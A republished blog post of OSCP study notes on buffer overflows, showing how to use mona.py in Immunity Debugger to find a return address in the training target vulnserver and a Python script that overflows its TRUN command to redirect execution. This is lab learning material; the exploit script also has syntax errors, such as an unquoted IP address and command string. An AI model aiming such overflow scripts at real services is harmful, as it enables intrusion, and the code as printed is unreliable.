首页 > 其他 > 详细

OSCP Learning Notes - Buffer Overflows(4)

时间:2019-07-01 22:43:36      阅读:101      评论:0      收藏:0      [点我收藏+]

Finding the Right Module(mona)

Mona Module Project website: https://github.com/corelan/mona

 1. Download mona.py, and drop it into the ‘OyCommands‘ file.

技术分享图片

2. Open the vulnserver and Immnity Debugger and attach the vulnserver.

3. Execute mona modules

技术分享图片

技术分享图片

 

技术分享图片

625011af

Set the stop point on "625011af"

技术分享图片

Then run the immunity debugger.

 4. Write the following Python test script, and perfom it on Kali Linux.

#!/usr/bin/python
import socket
import sys

shellcode = "A" * 2003 + "\xaf\x11\x50\x62"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    connect = s.connect((10.0.0.XX,9999))
    s.send((TRUN /.:/ + shellcode))
except:
    print "check debugger"
s.close()

 5. The vulnserver is crashed, 

技术分享图片

 

OSCP Learning Notes - Buffer Overflows(4)

原文:https://www.cnblogs.com/keepmoving1113/p/11117202.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!